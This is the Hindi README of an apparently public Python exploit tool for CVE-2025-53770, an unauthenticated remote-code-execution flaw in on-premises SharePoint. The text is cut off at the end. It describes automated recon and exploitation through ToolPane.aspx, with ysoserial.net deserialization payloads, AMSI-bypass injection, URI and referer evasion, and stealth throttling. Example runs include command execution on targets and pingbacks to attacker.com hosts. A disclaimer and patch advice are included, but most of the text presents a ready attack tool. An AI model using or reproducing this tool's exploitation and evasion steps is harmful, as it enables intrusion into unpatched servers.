डिवाइन एब्सोल्यूट - CVE-2025-53770 एक्सप्लॉइट टूल

अवलोकन

डिवाइन एब्सोल्यूट एक उन्नत, विज़ार्ड-चालित Python एक्सप्लॉइट टूल है जो CVE-2025-53770 को लक्षित करता है, जो ऑन-प्रिमाइसेस Microsoft SharePoint Server (2016, 2019, Subscription Edition) में एक गंभीर (CVSS 9.8) अनधिकृत रिमोट कोड निष्पादन (RCE) भेद्यता है। यह भेद्यता, जो 19 जुलाई, 2025 को एक जीरो-डे के रूप में सामने आई, /_layouts/15/ToolPane.aspx में अविश्वसनीय डेटा के डिसीरियलाइज़ेशन से उत्पन्न होती है। यह टूल केवल नैतिक पेनिट्रेशन टेस्टिंग और अधिकृत सुरक्षा अनुसंधान के लिए डिज़ाइन किया गया है, जो अन्वेषण, शोषण और सत्यापन के लिए बेजोड़ सटीकता, गुप्तता और अनुकूलनशीलता प्रदान करता है।

रिपॉजिटरी: https://github.com/exfil0/CVE-2025-53770

⚠️ कानूनी चेतावनी: यह टूल केवल नियंत्रित वातावरण में स्पष्ट अनुमति के साथ वैध, अधिकृत उपयोग के लिए है। उन प्रणालियों के खिलाफ अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की अनुमति नहीं है, अवैध है और इसके गंभीर कानूनी परिणाम हो सकते हैं। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।

विशेषताएँ

• मोड:
  • रीकॉन: उन्नत स्कोरिंग और regex (जैसे 16.0.0.\d+-\w+?) के साथ SharePoint उपस्थिति, संस्करण और ToolPane.aspx पहुंच का पता लगाता है।
  • एक्सप्लॉइट: मज़बूत बायपास के साथ ToolPane.aspx के माध्यम से पेलोड डिलीवर करता है।
  • फुल: रीकॉन और एक्सप्लॉइट को जोड़ता है, वैकल्पिक आक्रामक शोषण के साथ।
• पेलोड जनरेशन:
  • .NET डिसीरियलाइज़ेशन पेलोड (जैसे ObjectDataProvider, LosFormatter) के लिए ysoserial.net को एकीकृत करता है।
  • फॉलबैक HTTP/DNS पिंगबैक पेलोड (जैसे WebRequest.Create, Dns.GetHostEntry) के लिए वैकल्पिक pythonnet।
  • स्पष्ट एन्कोडिंग/डिकोडिंग और बेस64 सत्यापन के साथ GZIP संपीड़न का समर्थन करता है।
  • PowerShell कमांड में AMSI बायपास (बेसिक रिफ्लेक्शन, ऑबफस्केटेड, या कस्टम स्निपेट) इंजेक्ट करता है, जिसमें बेस64-एन्कोडेड (-enc) पेलोड शामिल हैं।
• बायपास:
  • URI चोरी: रैंडम या फिक्स्ड सफिक्स (जैसे /xp.aspx, UUID-आधारित)।
  • रेफरर स्पूफिंग: कोई नहीं, बाहरी डोमेन (जैसे www.google.com), कस्टम URL, या आंतरिक SharePoint पथ (जैसे /_layouts/15/sharepoint.aspx)।
• गुप्तता:
  • न्यूनतम RPS फ्लोर (0.01) और बर्स्ट नियंत्रण के साथ अनुकूली दर सीमा।
  • लॉक-संरक्षित गति और जिटर (0-0.1s) के साथ थ्रेड-सुरक्षित समवर्तीता।
• सत्यापन:
  • संकलित OR regexes, RequestException पर पुनर्प्रयास, और अनुकूलन योग्य स्थिति कोड/पथ के साथ मज़बूत RCE पुष्टि।
• अन्वेषण:
  • हेडर (जैसे MicrosoftSharePointTeamServices), पथ (जैसे /versions.aspx), और regexes के माध्यम से उन्नत SharePoint पहचान।
• आउटपुट:
  • विश्लेषण के लिए फोरेंसिक लॉगिंग के साथ JSON परिणाम।
• उपयोगिता:
  • आसान कॉन्फ़िगरेशन के लिए इंटरैक्टिव विज़ार्ड।
  • गैर-Windows सिस्टम पर ysoserial.net के लिए Mono/Wine का समर्थन।
  • प्रॉक्सी समर्थन (HTTP/SOCKS5) और अनुकूलन योग्य टाइमआउट।

CVE-2025-53770 संदर्भ

• भेद्यता: /_layouts/15/ToolPane.aspx में डिसीरियलाइज़ेशन के माध्यम से अनधिकृत RCE।
• प्रभावित: SharePoint Server 2016, 2019, Subscription Edition (EOL 2010/2013 भी असुरक्षित)।
• अप्रभावित: SharePoint Online (M365)।
• शोषण: 18 जुलाई, 2025 से, राज्य-प्रायोजित अभिनेताओं (जैसे Linen Typhoon) द्वारा "ToolShell" जैसे अभियानों में।
• पैच: Microsoft पैच (जैसे KB5002768, KB5002754) 19 जुलाई, 2025 को जारी, पूरी तरह से कम करते हैं। CISA KEV लिस्टिंग 21 जुलाई, 2025 तक संघीय पैचिंग अनिवार्य करती है।
• शमन: पैच लगाएं, पैच के बाद कुंजियाँ घुमाएँ, AMSI/Defender (फुल मोड) सक्षम करें, /ToolPane.aspx POSTs की निगरानी करें, WAF नियमों (जैसे Cloudflare) का उपयोग करें।

स्थापना

आवश्यक शर्तें

• Python 3.8+
• निर्भरताएँ:

  pip install requests termcolor
  

• वैकल्पिक (.NET सीरियलाइज़ेशन फॉलबैक के लिए):

  pip install pythonnet
  

• ysoserial.net:
  • ysoserial.net releases से डाउनलोड करें।
  • ysoserial.exe को एक ज्ञात पथ पर रखें (जैसे ./ysoserial.exe)।
• Mono/Wine (गैर-Windows सिस्टम):

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS (Homebrew के माध्यम से)
  brew install mono
  

• Docker लैब (परीक्षण के लिए अनुशंसित):

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

सेटअप

1. रिपॉजिटरी क्लोन करें:

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Python निर्भरताएँ स्थापित करें:

   pip install -r requirements.txt
   

3. सुनिश्चित करें कि ysoserial.exe सुलभ है या निष्पादन के दौरान उसका पथ प्रदान करें।
4. (वैकल्पिक) गैर-Windows सिस्टम के लिए Mono/Wine सत्यापित करें।

उपयोग

इंटरैक्टिव विज़ार्ड चलाएँ:

python divine_absolute.py

कार्यप्रवाह

1. मोड चयन:
   • Recon: SharePoint उपस्थिति और संस्करण के लिए स्कैन करता है।
   • Exploit: ToolPane.aspx पर पेलोड भेजता है।
   • Full: रीकॉन + एक्सप्लॉइट (वैकल्पिक आक्रामक मोड)।
2. लक्ष्य इनपुट:
   • एकल URL (जैसे https://sharepoint.example.com)।
   • URL वाली फ़ाइल (प्रति पंक्ति एक)।
3. पेलोड कॉन्फ़िगरेशन:
   • ysoserial.net: पथ, गैजेट (जैसे ObjectDataProvider), और कमांड (जैसे cmd /c whoami) निर्दिष्ट करें।
   • File: फ़ाइल से base64 GZIP पेलोड लोड करें।
   • String: सीधे base64 GZIP पेलोड इनपुट करें।
   • Pingback: HTTP/DNS पिंगबैक उत्पन्न करें (जैसे http://attacker.com/callback या sub.attacker.com)।
   • AMSI बायपास: NONE, BASIC_REFLECTION, CONCAT_OBFUSCATED, या कस्टम स्निपेट चुनें।
4. बायपास विकल्प:
   • URI: NONE, FIXED (जैसे /xp.aspx), RANDOM (UUID-आधारित)।
   • Referer: DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL।
5. नेटवर्क सेटिंग्स:
   • प्रॉक्सी (जैसे http://127.0.0.1:8080)।
   • थ्रेड, टाइमआउट, जिटर और दर सीमा (RPS)।
6. RCE सत्यापन:
   • पथ (जैसे /sitepages/result.txt), regexes (जैसे Xanthorox.*), स्थिति कोड (जैसे 200,403), प्रयास, विलंब और टाइमआउट निर्दिष्ट करें।

उदाहरण कमांड

• अन्वेषण:

  python divine_absolute.py
  # चुनें: Mode=Recon, Target=https://sharepoint.example.com
  

• ysoserial.net के साथ एक्सप्लॉइट:

  python divine_absolute.py
  # चुनें: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• सत्यापन के साथ फुल मोड:

  python divine_absolute.py
  # चुनें: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• DNS पिंगबैक:

  python divine_absolute.py
  # चुनें: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

आउटपुट

परिणाम xanthorox_results.json में सेव होते हैं जिनमें फ़ील्ड होते हैं:

• target: परीक्षण किया गया URL।
• sharepoint_detected: बूलियन।
• toolpane_accessible: बूलियन।
• exploited: बूलियन (पेलोड भेजा गया)।
• verified_rce: बूलियन/कोई नहीं (RCE पुष्टि)।
• error: कोई भी त्रुटि सामने आई।

उदाहरण:

[
  {
    "target": "https://sharepoint.example.com",
    "sharepoint_detected": true,
    "toolpane_accessible": true,
    "exploited": true,
    "verified_rce": true,
    "error": null
  }
]

संबोधित सुधार

यह संस्करण निम्नलिखित को ठीक करता है:

• अनुकूली दर सीमा: सफलता/त्रुटि गणना के लिए गैर-पुनर्प्रयास त्रुटियों (जैसे 404) को अनदेखा करता है; न्यूनतम RPS फ्लोर (0.01) लागू करता है।
• AMSI इंजेक्शन: बेस64-एन्कोडेड PowerShell (-enc) कमांड में बायपास को डिकोड और इंजेक्ट करता है; गैर-PowerShell (जैसे cmd.exe) को चेतावनी के साथ समर्थन करता है।
• पिंगबैक फॉलबैक: विश्वसनीय DNS पिंगबैक के लिए Dns.GetHostEntry के साथ pythonnet का उपयोग करता है (प्रायोगिक, पूर्ण प्रभाव के लिए गैजेट की आवश्यकता है)।

परीक्षण अनुशंसाएँ